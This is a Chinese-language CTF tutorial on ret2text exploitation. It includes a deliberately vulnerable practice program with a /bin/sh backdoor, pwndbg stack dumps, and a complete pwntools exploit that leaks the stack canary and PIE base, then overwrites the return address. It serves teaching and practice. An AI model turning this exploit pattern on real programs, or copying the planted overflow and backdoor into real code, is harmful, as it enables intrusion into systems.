ret2text
定义
Ret2Text(Return to Text)是一种二进制漏洞利用技术,属于 ROP(Return-Oriented Programming)攻击 的简化形式。它的核心思想是劫持程序的控制流,使其跳转到程序中已有的代码段(通常是 text 段),从而执行攻击者预期的操作(如获取 shell、绕过保护机制等)。
简单的说,就是栈溢出覆盖返回地址为后门函数从而获取shell。
例题
链接: https://pan.baidu.com/s/1BHMFxXXfB_W1YAMrL8cqmQ?pwd=yabu 提取码: yabu
程序源代码:
#include <stdio.h>
#include <unistd.h>
#include<string.h>
#include <stdlib.h>
void backdoor() {
puts("this is backdoor.");
system("/bin/sh");
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
char buf[0x100];
do {
puts("please input:");
read(0, buf, 0x200);
puts(buf);
} while (strcmp(buf, "exit") != 0);
return 0;
}
很显然存在栈溢出漏洞,且存在后门函数,先checksec程序:

64位,四个保护全开😅😅😅
分析:我们想把返回地址覆盖为backdoor的地址,那我们需要泄露程序的地址,而且还存在canary,我们还需要找到canary的值。
在ida查看main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdin, 0);
setbuf(_bss_start, 0);
do
{
puts("please input:");
read(0, buf, 0x200u);
puts(buf);
}
while ( strcmp(buf, "exit") );
return 0;
}
双击buf:
-0000000000000110 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000110 // Frame size: 110; Saved regs: 8; Purge: 0
-0000000000000110
-0000000000000110 char buf[264];
-0000000000000008 _QWORD var_8;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables
可以看到,buf后紧跟canary(var_8),然后是rbp和返回地址,
栈帧大小是0x110(272字节),也就是buf[264]+var_8(canary),那么用0x108字节数据可以填充完buf,但是如果测试一下以下的代码,发现只把buf打印出来而无法打印出canary,需要把0x108改为0x109来打印出canary,但这会覆盖canary的第一个字节,但没关系,由于是小端序,canary被覆盖的那个字节就是\x00。,
from pwn import *
elf = ELF("./test")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
p.sendafter("please input:\n", "a" * 0x108) //需改为0x109
p.interactive()
执行修改后的代码,得到:
[DEBUG] Received 0x125 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 61 61 61 61 61 61 b7 8a 52 90 41 3a 63 │aaaa│aaaa│a··R│·A:c│
00000110 c0 42 31 7c b6 55 0a 70 6c 65 61 73 65 20 69 6e │·B1|│·U·p│leas│e in│
00000120 70 75 74 3a 0a │put:│·│
00000125
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb7\x8aR\x90A:c\xc0B1|\xb6U
please input:
$
canary也就是这一串a后接着的7位,再在开头加上最开始被覆盖的\x00,如果字节值 恰好对应可打印的 ASCII 字符,就会直接显示字母/符号,所以打印出来看着很奇怪。
泄露出canary:
from pwn import *
elf = ELF("./test")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
p.sendafter("please input:\n", "a" * 0x109)
p.recvuntil("a" * 0x109)
canary = u64(b'\x00'+p.recv(7))
log.info("canary: " + hex(canary))
p.interactive()
这里就绕过了canary,但我们还需要绕过pie。
pie只会影响程序加载的基地址,如果程序中某个函数,泄露了程序在内存中的地址,我们可以将泄露的地址 - 泄露地址偏移得到基地址,从而可以使用基地址 + 偏移地址定位到程序中的任意位置。
使用gdb调试程序,在puts函数处下断点,查看栈空间:
pwndbg> b *$rebase(0x1281) //0x1281在ida中puts处查看
Breakpoint 2 at 0x555555555281: file test.c, line 20.
pwndbg> r
Starting program: /home/psyloft/PsyKnowBase/看雪CTF-pwn/题包-作业包/extracted/3.2/test
Breakpoint 1, main () at test.c:11
11 int main() {
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────
RAX 0x55555555520c (main) ◂— endbr64
RBX 0
RCX 0x7ffff7bb6718 (__exit_funcs) —▸ 0x7ffff7bb7ca0 (initial) ◂— 0
RDX 0x7fffffffd948 —▸ 0x7fffffffddcd ◂— 'AUTOJUMP_ERROR_PATH=/home/psyloft/.local/share/autojump/errors.log'
RDI 1
RSI 0x7fffffffd938 —▸ 0x7fffffffdd81 ◂— 0x73702f656d6f682f ('/home/ps')
R8 0
R9 0x7ffff7bb7ca0 (initial) ◂— 0
R10 0x13
R11 2
R12 0x555555555100 (_start) ◂— endbr64
R13 0
R14 0
R15 0
RBP 0x7fffffffd840 —▸ 0x5555555552c0 (__libc_csu_init) ◂— endbr64
RSP 0x7fffffffd730 ◂— 0x34000000340
RIP 0x55555555521b (main+15) ◂— mov rax, qword ptr fs:[0x28]
──────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────
► 0x55555555521b <main+15> mov rax, qword ptr fs:[0x28] RAX, [0x7ffff7ff65e8] => 0xe7a1b8956a02900
0x555555555224 <main+24> mov qword ptr [rbp - 8], rax [0x7fffffffd838] <= 0xe7a1b8956a02900
0x555555555228 <main+28> xor eax, eax EAX => 0
0x55555555522a <main+30> mov rax, qword ptr [rip + 0x2def] RAX, [stdin@@GLIBC_2.2.5] => 0x7ffff7bb6980 (_IO_2_1_stdin_) ◂— 0xfbad2088
0x555555555231 <main+37> mov esi, 0 ESI => 0
0x555555555236 <main+42> mov rdi, rax RDI => 0x7ffff7bb6980 (_IO_2_1_stdin_) ◂— 0xfbad2088
0x555555555239 <main+45> call setbuf@plt <setbuf@plt>
0x55555555523e <main+50> mov rax, qword ptr [rip + 0x2dcb] RAX, [stdout@@GLIBC_2.2.5]
0x555555555245 <main+57> mov esi, 0 ESI => 0
0x55555555524a <main+62> mov rdi, rax
0x55555555524d <main+65> call setbuf@plt <setbuf@plt>
────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────
In file: /home/psyloft/PsyKnowBase/看雪CTF-pwn/题包-作业包/extracted/3.2/test.c:11
6 void backdoor() {
7 puts("this is backdoor.");
8 system("/bin/sh");
9 }
10
► 11 int main() {
12 setbuf(stdin, NULL);
13 setbuf(stdout, NULL);
14
15 char buf[0x100];
16
────────────────────────────────────────────[ STACK ]────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd730 ◂— 0x34000000340
... ↓ 7 skipped
──────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────
► 0 0x55555555521b main+15
1 0x7ffff7822fdd __libc_start_main+237
2 0x55555555512e _start+46
─────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 40
00:0000│ rsp 0x7fffffffd730 ◂— 0x34000000340
... ↓ 13 skipped
0e:0070│-0a0 0x7fffffffd7a0 ◂— 0x100000000a0
0f:0078│-098 0x7fffffffd7a8 ◂— 0x100
10:0080│-090 0x7fffffffd7b0 ◂— 0
... ↓ 6 skipped
17:00b8│-058 0x7fffffffd7e8 ◂— 0xf0
18:00c0│-050 0x7fffffffd7f0 ◂— 0xc2
19:00c8│-048 0x7fffffffd7f8 —▸ 0x7ffff7c0fa10 (_dl_fini) ◂— push rbp
1a:00d0│-040 0x7fffffffd800 —▸ 0x7ffff7bbb2e8 (__exit_funcs_lock) ◂— 0
1b:00d8│-038 0x7fffffffd808 —▸ 0x55555555530d (__libc_csu_init+77) ◂— add rbx, 1
1c:00e0│-030 0x7fffffffd810 ◂— 0xffffd878
1d:00e8│-028 0x7fffffffd818 ◂— 0
1e:00f0│-020 0x7fffffffd820 —▸ 0x5555555552c0 (__libc_csu_init) ◂— endbr64
1f:00f8│-018 0x7fffffffd828 —▸ 0x555555555100 (_start) ◂— endbr64
20:0100│-010 0x7fffffffd830 —▸ 0x7fffffffd930 ◂— 1
21:0108│-008 0x7fffffffd838 ◂— 0
22:0110│ rbp 0x7fffffffd840 —▸ 0x5555555552c0 (__libc_csu_init) ◂— endbr64
23:0118│+008 0x7fffffffd848 —▸ 0x7ffff7822fdd (__libc_start_main+237) ◂— mov edi, eax
24:0120│+010 0x7fffffffd850 ◂— 0xc000
25:0128│+018 0x7fffffffd858 —▸ 0x7fffffffd938 —▸ 0x7fffffffdd81 ◂— 0x73702f656d6f682f ('/home/ps')
26:0130│+020 0x7fffffffd860 ◂— 0x100000000
27:0138│+028 0x7fffffffd868 —▸ 0x55555555520c (main) ◂— endbr64
程序基地址通常以0x55或0x56开始,以这个为例:
1b:00d8│-038 0x7fffffffd808 —▸ 0x55555555530d (__libc_csu_init+77) ◂— add rbx, 1
计算偏移:
pwndbg> vmmap 0x55555555530d
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x555555554000 0x555555555000 r--p 1000 0 test
► 0x555555555000 0x555555556000 r-xp 1000 1000 test +0x30d
0x555555556000 0x555555557000 r--p 1000 2000 test
pwndbg> p/x 0x55555555530d-0x555555554000
$1 = 0x130d
编写程序获得基地址:
p.sendafter("please input:\n", "a" * 0xd8)
elf.address = u64(p.recvuntil(('\x55', '\x56'))[-6:].ljust(8, b'\x00')) - 0x130d
log.info("elf base: " + hex(elf.address))
完整exp.py:
from pwn import *
elf = ELF("./test")
context(arch=elf.arch, os=elf.os)
p = process([elf.path])
p.sendafter("please input:\n", "a" * 0xd8)
elf.address = u64(p.recvuntil(('\x55', '\x56'))[-6:].ljust(8, b'\x00')) - 0x130d
log.info("elf base: " + hex(elf.address))
p.sendafter("please input:\n", "a" * 0x109)
p.recvuntil("a" * 0x109)
canary = u64(b'\x00'+p.recv(7))
log.info("canary: " + hex(canary))
payload = b'exit'.ljust(0x108, b'\x00')
payload += p64(canary)
payload += b'b' * 8
payload += p64(elf.sym['backdoor'])
p.sendafter("please input:\n", payload)
p.interactive()